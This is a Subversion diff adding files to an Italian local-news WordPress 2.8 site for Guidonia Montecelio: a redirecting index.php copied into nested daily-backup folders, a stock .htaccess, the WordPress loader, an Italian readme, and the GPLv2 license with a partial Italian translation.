+++ /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+echo '
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="it-IT">
+
+<head profile="http://gmpg.org/xfn/11">
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+    <title>Guidonia Punto Net (news e altro su Guidonia Montecelio)</title>
+   
+    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) RSS Feed" href="http://www.guidonia.net/wp/?feed=rss2" />
+    <link rel="pingback" href="http://www.guidonia.net/wp/xmlrpc.php" />
+    
+ 
+	    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) &raquo; About Feed dei commenti" href="http://www.guidonia.net/wp/?feed=rss2&amp;page_id=2" />
+	
+<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.guidonia.net/wp/xmlrpc.php?rsd" />
+<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml" /> 
+<link rel=\'index\' title=\'Guidonia Punto Net (in progress)\' href=\'http://www.guidonia.net/wp\' />
+<meta name="generator" content="WordPress 2.8" />
+
+<!-- all in one seo pack 1.5.7 [313,367] -->
+<meta name="description" content="Questo sito Ãš progressiva realizzazione Chi volesse contribuire alla costruzione di un sito su Guidonia puo\' contattare l\'email: info@guidonia.net oppure" />
+<meta name="keywords" content="guidonia" />
+<link rel="canonical" href="http://www.guidonia.net/wp/?page_id=2" />
+<!-- /all in one seo pack -->
+<link rel="stylesheet" href="http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css" type="text/css" />
+';
+echo "Guidonia Montecelio";
+header("location: wp/index.php");
+
+?>
Index: /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php
===================================================================
--- /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
+++ /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+echo '
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="it-IT">
+
+<head profile="http://gmpg.org/xfn/11">
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+    <title>Guidonia Punto Net (news e altro su Guidonia Montecelio)</title>
+   
+    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) RSS Feed" href="http://www.guidonia.net/wp/?feed=rss2" />
+    <link rel="pingback" href="http://www.guidonia.net/wp/xmlrpc.php" />
+    
+ 
+	    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) &raquo; About Feed dei commenti" href="http://www.guidonia.net/wp/?feed=rss2&amp;page_id=2" />
+	
+<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.guidonia.net/wp/xmlrpc.php?rsd" />
+<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml" /> 
+<link rel=\'index\' title=\'Guidonia Punto Net (in progress)\' href=\'http://www.guidonia.net/wp\' />
+<meta name="generator" content="WordPress 2.8" />
+
+<!-- all in one seo pack 1.5.7 [313,367] -->
+<meta name="description" content="Questo sito Ãš progressiva realizzazione Chi volesse contribuire alla costruzione di un sito su Guidonia puo\' contattare l\'email: info@guidonia.net oppure" />
+<meta name="keywords" content="guidonia" />
+<link rel="canonical" href="http://www.guidonia.net/wp/?page_id=2" />
+<!-- /all in one seo pack -->
+<link rel="stylesheet" href="http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css" type="text/css" />
+';
+echo "Guidonia Montecelio";
+header("location: wp/index.php");
+
+?>
Index: /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php
===================================================================
--- /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
+++ /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+echo '
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="it-IT">
+
+<head profile="http://gmpg.org/xfn/11">
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+    <title>Guidonia Punto Net (news e altro su Guidonia Montecelio)</title>
+   
+    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) RSS Feed" href="http://www.guidonia.net/wp/?feed=rss2" />
+    <link rel="pingback" href="http://www.guidonia.net/wp/xmlrpc.php" />
+    
+ 
+	    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) &raquo; About Feed dei commenti" href="http://www.guidonia.net/wp/?feed=rss2&amp;page_id=2" />
+	
+<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.guidonia.net/wp/xmlrpc.php?rsd" />
+<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml" /> 
+<link rel=\'index\' title=\'Guidonia Punto Net (in progress)\' href=\'http://www.guidonia.net/wp\' />
+<meta name="generator" content="WordPress 2.8" />
+
+<!-- all in one seo pack 1.5.7 [313,367] -->
+<meta name="description" content="Questo sito Ãš progressiva realizzazione Chi volesse contribuire alla costruzione di un sito su Guidonia puo\' contattare l\'email: info@guidonia.net oppure" />
+<meta name="keywords" content="guidonia" />
+<link rel="canonical" href="http://www.guidonia.net/wp/?page_id=2" />
+<!-- /all in one seo pack -->
+<link rel="stylesheet" href="http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css" type="text/css" />
+';
+echo "Guidonia Montecelio";
+header("location: wp/index.php");
+
+?>
Index: /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php
===================================================================
--- /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
+++ /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+echo '
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="it-IT">
+
+<head profile="http://gmpg.org/xfn/11">
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+    <title>Guidonia Punto Net (news e altro su Guidonia Montecelio)</title>
+   
+    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) RSS Feed" href="http://www.guidonia.net/wp/?feed=rss2" />
+    <link rel="pingback" href="http://www.guidonia.net/wp/xmlrpc.php" />
+    
+ 
+	    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) &raquo; About Feed dei commenti" href="http://www.guidonia.net/wp/?feed=rss2&amp;page_id=2" />
+	
+<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.guidonia.net/wp/xmlrpc.php?rsd" />
+<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml" /> 
+<link rel=\'index\' title=\'Guidonia Punto Net (in progress)\' href=\'http://www.guidonia.net/wp\' />
+<meta name="generator" content="WordPress 2.8" />
+
+<!-- all in one seo pack 1.5.7 [313,367] -->
+<meta name="description" content="Questo sito Ãš progressiva realizzazione Chi volesse contribuire alla costruzione di un sito su Guidonia puo\' contattare l\'email: info@guidonia.net oppure" />
+<meta name="keywords" content="guidonia" />
+<link rel="canonical" href="http://www.guidonia.net/wp/?page_id=2" />
+<!-- /all in one seo pack -->
+<link rel="stylesheet" href="http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css" type="text/css" />
+';
+echo "Guidonia Montecelio";
+header("location: wp/index.php");
+
+?>
Index: /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/index.php
===================================================================
--- /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
+++ /trunk/www.guidonia.net/guidonia.net_Backup_Giornaliero/index.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+echo '
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="it-IT">
+
+<head profile="http://gmpg.org/xfn/11">
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+    <title>Guidonia Punto Net (news e altro su Guidonia Montecelio)</title>
+   
+    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) RSS Feed" href="http://www.guidonia.net/wp/?feed=rss2" />
+    <link rel="pingback" href="http://www.guidonia.net/wp/xmlrpc.php" />
+    
+ 
+	    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) &raquo; About Feed dei commenti" href="http://www.guidonia.net/wp/?feed=rss2&amp;page_id=2" />
+	
+<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.guidonia.net/wp/xmlrpc.php?rsd" />
+<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml" /> 
+<link rel=\'index\' title=\'Guidonia Punto Net (in progress)\' href=\'http://www.guidonia.net/wp\' />
+<meta name="generator" content="WordPress 2.8" />
+
+<!-- all in one seo pack 1.5.7 [313,367] -->
+<meta name="description" content="Questo sito Ãš progressiva realizzazione Chi volesse contribuire alla costruzione di un sito su Guidonia puo\' contattare l\'email: info@guidonia.net oppure" />
+<meta name="keywords" content="guidonia" />
+<link rel="canonical" href="http://www.guidonia.net/wp/?page_id=2" />
+<!-- /all in one seo pack -->
+<link rel="stylesheet" href="http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css" type="text/css" />
+';
+echo "Guidonia Montecelio";
+header("location: wp/index.php");
+
+?>
Index: /trunk/www.guidonia.net/index.php
===================================================================
--- /trunk/www.guidonia.net/index.php	(revision 44)
+++ /trunk/www.guidonia.net/index.php	(revision 44)
@@ -0,0 +1,31 @@
+<?php
+echo '
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="it-IT">
+
+<head profile="http://gmpg.org/xfn/11">
+    <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+    <title>Guidonia Punto Net (news e altro su Guidonia Montecelio)</title>
+   
+    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) RSS Feed" href="http://www.guidonia.net/wp/?feed=rss2" />
+    <link rel="pingback" href="http://www.guidonia.net/wp/xmlrpc.php" />
+    
+ 
+	    <link rel="alternate" type="application/rss+xml" title="Guidonia Punto Net (in progress) &raquo; About Feed dei commenti" href="http://www.guidonia.net/wp/?feed=rss2&amp;page_id=2" />
+	
+<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.guidonia.net/wp/xmlrpc.php?rsd" />
+<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.guidonia.net/wp/wp-includes/wlwmanifest.xml" /> 
+<link rel=\'index\' title=\'Guidonia Punto Net (in progress)\' href=\'http://www.guidonia.net/wp\' />
+<meta name="generator" content="WordPress 2.8" />
+
+<!-- all in one seo pack 1.5.7 [313,367] -->
+<meta name="description" content="Questo sito Ãš progressiva realizzazione Chi volesse contribuire alla costruzione di un sito su Guidonia puo\' contattare l\'email: info@guidonia.net oppure" />
+<meta name="keywords" content="guidonia" />
+<link rel="canonical" href="http://www.guidonia.net/wp/?page_id=2" />
+<!-- /all in one seo pack -->
+<link rel="stylesheet" href="http://www.guidonia.net/wp/wp-content/plugins/contact-form-7/stylesheet.css" type="text/css" />
+';
+echo "Guidonia Montecelio";
+header("location: wp/index.php");
+
+?>
Index: /trunk/www.guidonia.net/wp/.htaccess
===================================================================
--- /trunk/www.guidonia.net/wp/.htaccess	(revision 44)
+++ /trunk/www.guidonia.net/wp/.htaccess	(revision 44)
@@ -0,0 +1,11 @@
+
+# BEGIN WordPress
+<IfModule mod_rewrite.c>
+RewriteEngine On
+RewriteBase /wp/
+RewriteCond %{REQUEST_FILENAME} !-f
+RewriteCond %{REQUEST_FILENAME} !-d
+RewriteRule . /wp/index.php [L]
+</IfModule>
+
+# END WordPress
Index: /trunk/www.guidonia.net/wp/LEGGIMI.txt
===================================================================
--- /trunk/www.guidonia.net/wp/LEGGIMI.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/LEGGIMI.txt	(revision 44)
@@ -0,0 +1,8 @@
+Questa versione in italiano di WordPress è basata sulla versione di
+Wordpress 2.8.1 inglese rilasciata il 09/07/2009.
+
+Nessuna responsabilità viene presa da wordpress-it.it per eventuali problemi
+o malfunzionamenti derivanti dall'uso di questa distribuzione.
+
+Per problemi, supporto, informazioni si faccia riferimento al blog, al wiki ed
+al forum di supporto di WordPress Italy su www.wordpress-it.it
Index: /trunk/www.guidonia.net/wp/index.php
===================================================================
--- /trunk/www.guidonia.net/wp/index.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/index.php	(revision 44)
@@ -0,0 +1,18 @@
+<?php
+/**
+ * Front to the WordPress application. This file doesn't do anything, but loads
+ * wp-blog-header.php which does and tells WordPress to load the theme.
+ *
+ * @package WordPress
+ */
+
+/**
+ * Tells WordPress to load the WordPress theme and output it.
+ *
+ * @var bool
+ */
+define('WP_USE_THEMES', true);
+
+/** Loads the WordPress Environment and Template */
+require('./wp-blog-header.php');
+?>
Index: /trunk/www.guidonia.net/wp/license.txt
===================================================================
--- /trunk/www.guidonia.net/wp/license.txt	(revision 44)
+++ /trunk/www.guidonia.net/wp/license.txt	(revision 44)
@@ -0,0 +1,281 @@
+		    GNU GENERAL PUBLIC LICENSE
+		       Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc. 
+              51 Franklin St, Fifth Floor, Boston, MA 02110, USA
+
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+			    Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Library General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
+patent must be licensed for everyone's free use or not licensed at all.
+
+  The precise terms and conditions for copying, distribution and
+modification follow.
+
+		    GNU GENERAL PUBLIC LICENSE
+   TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
+
+  0. This License applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed
+under the terms of this General Public License.  The "Program", below,
+refers to any such program or work, and a "work based on the Program"
+means either the Program or any derivative work under copyright law:
+that is to say, a work containing the Program or a portion of it,
+either verbatim or with modifications and/or translated into another
+language.  (Hereinafter, translation is included without limitation in
+the term "modification".)  Each licensee is addressed as "you".
+
+Activities other than copying, distribution and modification are not
+covered by this License; they are outside its scope.  The act of
+running the Program is not restricted, and the output from the Program
+is covered only if its contents constitute a work based on the
+Program (independent of having been made by running the Program).
+Whether that is true depends on what the Program does.
+
+  1. You may copy and distribute verbatim copies of the Program's
+source code as you receive it, in any medium, provided that you
+conspicuously and appropriately publish on each copy an appropriate
+copyright notice and disclaimer of warranty; keep intact all the
+notices that refer to this License and to the absence of any warranty;
+and give any other recipients of the Program a copy of this License
+along with the Program.
+
+You may charge a fee for the physical act of transferring a copy, and
+you may at your option offer warranty protection in exchange for a fee.
+
+  2. You may modify your copy or copies of the Program or any portion
+of it, thus forming a work based on the Program, and copy and
+distribute such modifications or work under the terms of Section 1
+above, provided that you also meet all of these conditions:
+
+    a) You must cause the modified files to carry prominent notices
+    stating that you changed the files and the date of any change.
+
+    b) You must cause any work that you distribute or publish, that in
+    whole or in part contains or is derived from the Program or any
+    part thereof, to be licensed as a whole at no charge to all third
+    parties under the terms of this License.
+
+    c) If the modified program normally reads commands interactively
+    when run, you must cause it, when started running for such
+    interactive use in the most ordinary way, to print or display an
+    announcement including an appropriate copyright notice and a
+    notice that there is no warranty (or else, saying that you provide
+    a warranty) and that users may redistribute the program under
+    these conditions, and telling the user how to view a copy of this
+    License.  (Exception: if the Program itself is interactive but
+    does not normally print such an announcement, your work based on
+    the Program is not required to print an announcement.)
+
+These requirements apply to the modified work as a whole.  If
+identifiable sections of that work are not derived from the Program,
+and can be reasonably considered independent and separate works in
+themselves, then this License, and its terms, do not apply to those
+sections when you distribute them as separate works.  But when you
+distribute the same sections as part of a whole which is a work based
+on the Program, the distribution of the whole must be on the terms of
+this License, whose permissions for other licensees extend to the
+entire whole, and thus to each and every part regardless of who wrote it.
+Thus, it is not the intent of this section to claim rights or contest
+your rights to work written entirely by you; rather, the intent is to
+exercise the right to control the distribution of derivative or
+collective works based on the Program.
+
+In addition, mere aggregation of another work not based on the Program
+with the Program (or with a work based on the Program) on a volume of
+a storage or distribution medium does not bring the other work under
+the scope of this License.
+
+  3. You may copy and distribute the Program (or a work based on it,
+under Section 2) in object code or executable form under the terms of
+Sections 1 and 2 above provided that you also do one of the following:
+
+    a) Accompany it with the complete corresponding machine-readable
+    source code, which must be distributed under the terms of Sections
+    1 and 2 above on a medium customarily used for software interchange; or,
+
+    b) Accompany it with a written offer, valid for at least three
+    years, to give any third party, for a charge no more than your
+    cost of physically performing source distribution, a complete
+    machine-readable copy of the corresponding source code, to be
+    distributed under the terms of Sections 1 and 2 above on a medium
+    customarily used for software interchange; or,
+
+    c) Accompany it with the information you received as to the offer
+    to distribute corresponding source code.  (This alternative is
+    allowed only for noncommercial distribution and only if you
+    received the program in object code or executable form with such
+    an offer, in accord with Subsection b above.)
+
+The source code for a work means the preferred form of the work for
+making modifications to it.  For an executable work, complete source
+code means all the source code for all modules it contains, plus any
+associated interface definition files, plus the scripts used to
+control compilation and installation of the executable.  However, as a
+special exception, the source code distributed need not include
+anything that is normally distributed (in either source or binary
+form) with the major components (compiler, kernel, and so on) of the
+operating system on which the executable runs, unless that component
+itself accompanies the executable.
+
+If distribution of executable or object code is made by offering
+access to copy from a designated place, then offering equivalent
+access to copy the source code from the same place counts as
+distribution of the source code, even though third parties are not
+compelled to copy the source along with the object code.
+
+  4. You may not copy, modify, sublicense, or distribute the Program
+except as expressly provided under this License.  Any attempt
+otherwise to copy, modify, sublicense or distribute the Program is
+void, and will automatically terminate your rights under this License.
+However, parties who have received copies, or rights, from you under
+this License will not have their licenses terminated so long as such
+parties remain in full compliance.
+
+  5. You are not required to accept this License, since you have not
+signed it.  However, nothing else grants you permission to modify or
+distribute the Program or its derivative works.  These actions are
+prohibited by law if you do not accept this License.  Therefore, by
+modifying or distributing the Program (or any work based on the
+Program), you indicate your acceptance of this License to do so, and
+all its terms and conditions for copying, distributing or modifying
+the Program or works based on it.
+
+  6. Each time you redistribute the Program (or any work based on the
+Program), the recipient automatically receives a license from the
+original licensor to copy, distribute or modify the Program subject to
+these terms and conditions.  You may not impose any further
+restrictions on the recipients' exercise of the rights granted herein.
+You are not responsible for enforcing compliance by third parties to
+this License.
+
+  7. If, as a consequence of a court judgment or allegation of patent
+infringement or for any other reason (not limited to patent issues),
+conditions are imposed on you (whether by court order, agreement or
+otherwise) that contradict the conditions of this License, they do not
+excuse you from the conditions of this License.  If you cannot
+distribute so as to satisfy simultaneously your obligations under this
+License and any other pertinent obligations, then as a consequence you
+may not distribute the Program at all.  For example, if a patent
+license would not permit royalty-free redistribution of the Program by
+all those who receive copies directly or indirectly through you, then
+the only way you could satisfy both it and this License would be to
+refrain entirely from distribution of the Program.
+
+If any portion of this section is held invalid or unenforceable under
+any particular circumstance, the balance of the section is intended to
+apply and the section as a whole is intended to apply in other
+circumstances.
+
+It is not the purpose of this section to induce you to infringe any
+patents or other property right claims or to contest validity of any
+such claims; this section has the sole purpose of protecting the
+integrity of the free software distribution system, which is
+implemented by public license practices.  Many people have made
+generous contributions to the wide range of software distributed
+through that system in reliance on consistent application of that
+system; it is up to the author/donor to decide if he or she is willing
+to distribute software through any other system and a licensee cannot
+impose that choice.
+
+This section is intended to make thoroughly clear what is believed to
+be a consequence of the rest of this License.
+
+  8. If the distribution and/or use of the Program is restricted in
+certain countries either by patents or by copyrighted interfaces, the
+original copyright holder who places the Program under this License
+may add an explicit geographical distribution limitation excluding
+those countries, so that distribution is permitted only in or among
+countries not thus excluded.  In such case, this License incorporates
+the limitation as if written in the body of this License.
+
+  9. The Free Software Foundation may publish revised and/or new versions
+of the General Public License from time to time.  Such new versions will
+be similar in spirit to the present version, but may differ in detail to
+address new problems or concerns.
+
+Each version is given a distinguishing version number.  If the Program
+specifies a version number of this License which applies to it and "any
+later version", you have the option of following the terms and conditions
+either of that version or of any later version published by the Free
+Software Foundation.  If the Program does not specify a version number of
+this License, you may choose any version ever published by the Free Software
+Foundation.
+
+  10. If you wish to incorporate parts of the Program into other free
+programs whose distribution conditions are different, write to the author
+to ask for permission.  For software which is copyrighted by the Free
+Software Foundation, write to the Free Software Foundation; we sometimes
+make exceptions for this.  Our decision will be guided by the two goals
+of preserving the free status of all derivatives of our free software and
+of promoting the sharing and reuse of software generally.
+
+			    NO WARRANTY
+
+  11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
+FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW.  EXCEPT WHEN
+OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
+PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
+OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
+MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  THE ENTIRE RISK AS
+TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU.  SHOULD THE
+PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
+REPAIR OR CORRECTION.
+
+  12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
+REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
+INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
+OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
+TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
+YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
+PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
+POSSIBILITY OF SUCH DAMAGES.
+
+		     END OF TERMS AND CONDITIONS
+
Index: /trunk/www.guidonia.net/wp/licenza.html
===================================================================
--- /trunk/www.guidonia.net/wp/licenza.html	(revision 44)
+++ /trunk/www.guidonia.net/wp/licenza.html	(revision 44)
@@ -0,0 +1,148 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml">
+<head>
+<title>WordPress &rsaquo; ReadMe</title>
+<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
+<style type="text/css" media="screen">
+	<!--
+	html {
+		background: #eee;
+	}
+	body {
+		background: #fff;
+		color: #000;
+		font-family: Georgia, "Times New Roman", Times, serif;
+		margin-left: 25%;
+		margin-right: 25%;
+		padding: .2em 2em;
+	}
+
+	h1 {
+		color: #006;
+		font-size: 18px;
+		font-weight: lighter;
+	}
+
+	h2 {
+		font-size: 16px;
+	}
+
+	p, li, dt {
+		line-height: 140%;
+		padding-bottom: 2px;
+
+	}
+
+	ul, ol {
+		padding: 5px 5px 5px 20px;
+	}
+	.indent {
+		margin: 0 25px 0 25px;
+		font-style: italic;
+	}
+	.nota {
+		font-style: italic;
+		font-size: 85%;
+		border: 1px solid;
+		padding: 0 15px 0 15px;
+	}
+	-->
+	</style>
+</head>
+<body>
+<div align="justify">
+<div class="nota">
+<p>Questa &egrave; una traduzione italiana non ufficiale della Licenza Pubblica Generica GNU. Non &egrave; pubblicata dalla Free Software Foundation e non ha valore legale nell'esprimere i termini di distribuzione del software che usa la licenza GPL. Solo la <a href="license.txt">versione originale in inglese</a> della licenza ha valore legale. Ad ogni modo, speriamo che questa traduzione aiuti le persone di lingua italiana a capire meglio il significato della licenza GPL.</p>
+<p>This is an unofficial translation of the GNU General Public License into Italian. It was not published by the Free Software Foundation, and does not legally state the distribution terms for software that uses the GNU GPL--only the <a href="license.txt">original English text</a> of the GNU GPL does that. However, we hope that this translation will help Italian speakers understand the GNU GPL better.</p>
+</div>
+<h1 style="text-align: center">LICENZA PUBBLICA GENERICA (GPL) DEL PROGETTO GNU</h1>
+<p style="text-align: center">Versione 2, Giugno 1991</p>
+<p style="text-align: center">Copyright (C) 1989, 1991 Free Software Foundation, Inc.</p>
+<p style="text-align: center">59 Temple Place, Suite 330, Boston, MA 02111-1307 USA</p>
+<p style="text-align: center">Traduzione curata da gruppo Pluto, da ILS e dal gruppo italiano di traduzione GNU. Ultimo aggiornamento 19 aprile 2000.</p>
+<p style="text-align: center">Chiunque pu&ograve; copiare e distribuire copie letterali di questo documento di licenza, ma non ne &egrave; permessa la modifica.</p>
+<h2 style="text-align: center">Preambolo</h2>
+<p>Le licenze della maggior parte dei programmi hanno lo scopo di togliere all'utente la libert&agrave; di condividere e modificare il programma stesso. Viceversa, la Licenza Pubblica Generica GNU &egrave; intesa a garantire la libert&agrave; di condividere e modificare il software libero, al fine di assicurare che i programmi siano liberi per tutti i loro utenti. Questa Licenza si applica alla maggioranza dei programmi della Free Software Foundation e ad ogni altro programma i cui autori hanno deciso di usare questa Licenza. Alcuni altri programmi della Free Software Foundation sono invece coperti dalla Licenza Pubblica Generica Minore. Chiunque pu&ograve; usare questa Licenza per i propri programmi.
+<p>Quando si parla di software libero (free software), ci si riferisce alla libert&agrave;, non al prezzo. Le nostre Licenze (la GPL e la LGPL) sono progettate per assicurarsi che ciascuno abbia la libert&agrave; di distribuire copie del software libero (e farsi pagare per questo, se vuole), che ciascuno riceva il codice sorgente o che lo possa ottenere se lo desidera, che ciascuno possa modificare il programma o usarne delle parti in nuovi programmi liberi e che ciascuno sappia di potere fare queste cose.
+<p>Per proteggere i diritti dell'utente, abbiamo bisogno di creare delle restrizioni che vietino a chiunque di negare questi diritti o di chiedere di rinunciarvi. Queste restrizioni si traducono in certe responsabilit&agrave; per chi distribuisce copie del software e per chi lo modifica.
+<p>Per esempio, chi distribuisce copie di un programma coperto da GPL, sia gratis sia in cambio di un compenso, deve concedere ai destinatari tutti i diritti che ha ricevuto. Deve anche assicurarsi che i destinatari ricevano o possano ottenere il codice sorgente. E deve mostrar loro queste condizioni di licenza, in modo che essi conoscano i propri diritti.
